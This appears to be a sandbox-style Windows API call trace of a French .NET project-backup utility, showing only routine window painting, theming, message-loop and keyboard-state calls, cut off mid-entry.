[0252.623] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.623] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.623] SaveDC (hdc=0x4a0101a0) returned 2 [0252.623] GetNearestColor (hdc=0x4a0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0252.623] CreateSolidBrush (color=0xf0f0f0) returned 0x3f1006a2 [0252.624] FillRect (hDC=0x4a0101a0, lprc=0x2bdf34, hbr=0x3f1006a2) returned 1 [0252.624] DeleteObject (ho=0x3f1006a2) returned 1 [0252.624] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.624] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0252.624] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0252.624] GetSystemMetrics (nIndex=42) returned 0 [0252.624] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0252.624] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0252.624] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.624] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.624] IsAppThemed () returned 0x1 [0252.624] GetThemeAppProperties () returned 0x3 [0252.624] GetThemeAppProperties () returned 0x3 [0252.624] IsAppThemed () returned 0x1 [0252.624] GetThemeAppProperties () returned 0x3 [0252.624] GetThemeAppProperties () returned 0x3 [0252.624] IsThemePartDefined () returned 0x1 [0252.624] GdipCreateRegion (region=0x2be428) returned 0x0 [0252.624] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0252.624] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0252.624] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0252.624] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0252.624] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.624] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0252.624] LocalFree (hMem=0x5fd508) returned 0x0 [0252.625] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.625] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0252.625] LocalFree (hMem=0x5fd508) returned 0x0 [0252.625] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0252.625] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0252.625] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0252.625] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0252.625] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0252.625] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0252.625] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.625] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.625] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.625] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.625] SaveDC (hdc=0x4a0101a0) returned 1 [0252.625] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x82040789 [0252.625] GetClipRgn (hdc=0x4a0101a0, hrgn=0x82040789) returned 0 [0252.625] SelectClipRgn (hdc=0x4a0101a0, hrgn=0x810401eb) returned 2 [0252.625] DeleteObject (ho=0x82040789) returned 1 [0252.625] DeleteObject (ho=0x810401eb) returned 1 [0252.625] OffsetViewportOrgEx (in: hdc=0x4a0101a0, x=0, y=0, lppt=0x24f8fc0 | out: lppt=0x24f8fc0) returned 1 [0252.625] IsAppThemed () returned 0x1 [0252.625] GetThemeAppProperties () returned 0x3 [0252.625] GetThemeAppProperties () returned 0x3 [0252.625] DrawThemeBackground () returned 0x0 [0252.626] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.626] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.626] GdipCreateRegion (region=0x2be410) returned 0x0 [0252.626] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0252.626] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0252.626] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0252.626] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0252.626] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.626] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0252.626] LocalFree (hMem=0x5fd508) returned 0x0 [0252.626] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0252.626] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0252.626] LocalFree (hMem=0x5fd508) returned 0x0 [0252.626] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0252.626] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0252.626] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0252.626] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0252.626] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0252.626] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0252.626] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.627] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.627] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.627] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.627] SaveDC (hdc=0x4a0101a0) returned 1 [0252.627] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x820401eb [0252.627] GetClipRgn (hdc=0x4a0101a0, hrgn=0x820401eb) returned 0 [0252.627] SelectClipRgn (hdc=0x4a0101a0, hrgn=0x83040789) returned 2 [0252.627] DeleteObject (ho=0x820401eb) returned 1 [0252.627] DeleteObject (ho=0x83040789) returned 1 [0252.627] OffsetViewportOrgEx (in: hdc=0x4a0101a0, x=0, y=0, lppt=0x24f999c | out: lppt=0x24f999c) returned 1 [0252.627] IsAppThemed () returned 0x1 [0252.627] GetThemeAppProperties () returned 0x3 [0252.627] GetThemeAppProperties () returned 0x3 [0252.627] GetThemeBackgroundContentRect () returned 0x0 [0252.627] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.627] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.627] IsAppThemed () returned 0x1 [0252.627] GetThemeAppProperties () returned 0x3 [0252.627] GetThemeAppProperties () returned 0x3 [0252.627] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0252.627] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0252.627] GetCurrentObject (hdc=0x4a0101a0, type=0x1) returned 0x1b00017 [0252.627] GetCurrentObject (hdc=0x4a0101a0, type=0x2) returned 0x1900010 [0252.628] GetCurrentObject (hdc=0x4a0101a0, type=0x7) returned 0x210506ba [0252.628] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.628] SaveDC (hdc=0x4a0101a0) returned 1 [0252.628] GetTextAlign (hdc=0x4a0101a0) returned 0x0 [0252.628] GetTextColor (hdc=0x4a0101a0) returned 0x0 [0252.628] GetCurrentObject (hdc=0x4a0101a0, type=0x6) returned 0x18a002e [0252.628] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0252.628] SelectObject (hdc=0x4a0101a0, h=0x90a01e9) returned 0x18a002e [0252.628] GetBkMode (hdc=0x4a0101a0) returned 2 [0252.628] SetBkMode (hdc=0x4a0101a0, mode=1) returned 2 [0252.628] DrawTextExW (in: hdc=0x4a0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x24fa0b4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0252.628] DrawTextExW (in: hdc=0x4a0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x24fa0b4 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0252.628] RestoreDC (hdc=0x4a0101a0, nSavedDC=-1) returned 1 [0252.628] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.628] GetFocus () returned 0x0 [0252.629] IsAppThemed () returned 0x1 [0252.629] GetThemeAppProperties () returned 0x3 [0252.629] GetThemeAppProperties () returned 0x3 [0252.629] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0252.629] BitBlt (hdc=0x100107ec, x=0, y=0, cx=163, cy=29, hdcSrc=0x4a0101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0252.629] GdipReleaseDC (graphics=0x4ae5320, hdc=0x4a0101a0) returned 0x0 [0252.629] SelectPalette (hdc=0x100107ec, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0252.629] SelectObject (hdc=0x4a0101a0, h=0x185000f) returned 0x210506ba [0252.629] DeleteDC (hdc=0x4a0101a0) returned 1 [0252.629] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0252.629] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0252.630] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.630] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.630] WaitMessage () returned 1 [0252.710] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.711] IsWindowUnicode (hWnd=0x20152) returned 1 [0252.711] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.711] TranslateMessage (lpMsg=0x2bec18) returned 0 [0252.711] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0252.711] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.711] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.711] WaitMessage () returned 1 [0252.930] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.930] IsWindowUnicode (hWnd=0x1019e) returned 1 [0252.930] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0252.930] TranslateMessage (lpMsg=0x2bec18) returned 0 [0252.930] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0252.930] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.930] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0252.930] WaitMessage () returned 1 [0256.108] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.108] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0256.108] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0256.264] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0256.264] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0256.264] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0256.264] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0256.265] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0256.265] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0256.265] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0256.265] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0256.265] NtdllDefWindowProc_W () returned 0x0 [0256.265] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0256.313] GetFocus () returned 0x0 [0256.313] SetFocus (hWnd=0x1019c) returned 0x0 [0256.314] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0256.314] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0256.314] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0256.314] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0256.314] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0256.314] GetStockObject (i=5) returned 0x1900015 [0256.314] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0256.314] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562800) returned 0x19 [0256.315] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0256.315] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0256.315] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0256.315] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0256.315] IsWindowUnicode (hWnd=0x1019c) returned 1 [0256.315] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.315] TranslateMessage (lpMsg=0x2bec18) returned 0 [0256.315] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.315] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.315] IsWindowUnicode (hWnd=0x1019c) returned 1 [0256.315] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.315] GetKeyState (nVirtKey=16) returned 0 [0256.315] GetKeyState (nVirtKey=17) returned 0 [0256.315] GetKeyState (nVirtKey=18) returned -127 [0256.315] TranslateMessage (lpMsg=0x2bec18) returned 1 [0256.316] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.316] GetKeyState (nVirtKey=16) returned 0 [0256.316] GetKeyState (nVirtKey=17) returned 0 [0256.316] GetKeyState (nVirtKey=18) returned -127 [0256.316] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0256.316] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.316] IsWindowUnicode (hWnd=0x1019c) returned 1 [0256.316] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.316] GetKeyState (nVirtKey=16) returned 0 [0256.316] GetKeyState (nVirtKey=17) returned 0 [0256.316] GetKeyState (nVirtKey=18) returned 1 [0256.316] TranslateMessage (lpMsg=0x2bec18) returned 1 [0256.316] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.316] GetKeyState (nVirtKey=16) returned 0 [0256.316] GetKeyState (nVirtKey=17) returned 0 [0256.316] GetKeyState (nVirtKey=18) returned 1 [0256.316] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0256.316] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.316] IsWindowUnicode (hWnd=0x1019c) returned 1 [0256.316] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0256.316] TranslateMessage (lpMsg=0x2bec18) returned 0 [0256.316] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0256.316] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x701068c [0256.316] SelectPalette (hdc=0x701068c, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0256.316] CreateCompatibleDC (hdc=0x701068c) returned 0x530101a0 [0256.316] SelectObject (hdc=0x530101a0, h=0x210506ba) returned 0x185000f [0256.316] GdipCreateFromHDC (hdc=0x530101a0, graphics=0x2be714) returned 0x0 [0256.316] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0256.316] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0256.316] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0256.317] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0256.317] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0256.317] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.317] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd508) returned 0x0 [0256.317] LocalFree (hMem=0x5fd508) returned 0x0 [0256.317] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0256.317] GdipCreateRegion (region=0x2be75c) returned 0x0 [0256.317] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0256.317] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0256.317] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0256.317] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd890dbd) returned 0x0 [0256.317] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0256.317] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0256.317] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.317] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.317] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.317] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.317] SaveDC (hdc=0x530101a0) returned 1 [0256.317] GetNearestColor (hdc=0x530101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.317] GetNearestColor (hdc=0x530101a0, color=0xa0a0a0) returned 0xa0a0a0 [0256.317] GetNearestColor (hdc=0x530101a0, color=0x696969) returned 0x696969 [0256.317] GetNearestColor (hdc=0x530101a0, color=0xa0a0a0) returned 0xa0a0a0 [0256.317] GetNearestColor (hdc=0x530101a0, color=0x0) returned 0x0 [0256.317] GetNearestColor (hdc=0x530101a0, color=0xffffff) returned 0xffffff [0256.318] GetNearestColor (hdc=0x530101a0, color=0xe5e5e5) returned 0xe5e5e5 [0256.318] GetNearestColor (hdc=0x530101a0, color=0xd7d7d7) returned 0xd7d7d7 [0256.318] GetNearestColor (hdc=0x530101a0, color=0x0) returned 0x0 [0256.318] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.318] GdipReleaseDC (graphics=0x4ae5320, hdc=0x530101a0) returned 0x0 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x2545bc0 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetFocus () returned 0x1019c [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsThemePartDefined () returned 0x1 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] IsAppThemed () returned 0x1 [0256.318] GetThemeAppProperties () returned 0x3 [0256.318] GetThemeAppProperties () returned 0x3 [0256.319] IsThemePartDefined () returned 0x1 [0256.319] GdipCreateRegion (region=0x2be484) returned 0x0 [0256.319] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0256.319] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0256.319] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0256.319] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0256.319] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.319] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0256.319] LocalFree (hMem=0x5fd508) returned 0x0 [0256.319] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd508 [0256.319] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd508) returned 0x0 [0256.319] LocalFree (hMem=0x5fd508) returned 0x0 [0256.319] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0256.319] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0256.319] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0256.319] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0256.319] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0256.319] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0256.319] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.319] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.319] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.319] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.319] SaveDC (hdc=0x530101a0) returned 1 [0256.319] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x84040789 [0256.319] GetClipRgn (hdc=0x530101a0, hrgn=0x84040789) returned 0 [0256.319] SelectClipRgn (hdc=0x530101a0, hrgn=0x890401eb) returned 2 [0256.319] DeleteObject (ho=0x84040789) returned 1 [0256.319] DeleteObject (ho=0x890401eb) returned 1 [0256.319] OffsetViewportOrgEx (in: hdc=0x530101a0, x=0, y=0, lppt=0x2546270 | out: lppt=0x2546270) returned 1 [0256.320] DrawThemeParentBackground () returned 0x0 [0256.320] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0256.320] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0256.320] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0256.320] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.320] GetSystemMetrics (nIndex=42) returned 0 [0256.320] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.320] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0256.320] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0256.320] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.320] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.320] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.320] GetCurrentObject (hdc=0x530101a0, type=0x6) returned 0x18a002e [0256.320] SaveDC (hdc=0x530101a0) returned 2 [0256.320] GetNearestColor (hdc=0x530101a0, color=0xf0f0f0) returned 0xf0f0f0 [0256.320] CreateSolidBrush (color=0xf0f0f0) returned 0x401006a2 [0256.320] FillRect (hDC=0x530101a0, lprc=0x2bdf94, hbr=0x401006a2) returned 1 [0256.320] DeleteObject (ho=0x401006a2) returned 1 [0256.320] RestoreDC (hdc=0x530101a0, nSavedDC=-1) returned 1 [0256.320] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0256.320] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0256.320] GetSystemMetrics (nIndex=42) returned 0 [0256.320] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0256.320] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0256.320] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0256.320] GetCurrentObject (hdc=0x530101a0, type=0x1) returned 0x1b00017 [0256.321] GetCurrentObject (hdc=0x530101a0, type=0x2) returned 0x1900010 [0256.321] GetCurrentObject (hdc=0x530101a0, type=0x7) returned 0x210506ba [0256.321] GetCurrentObject 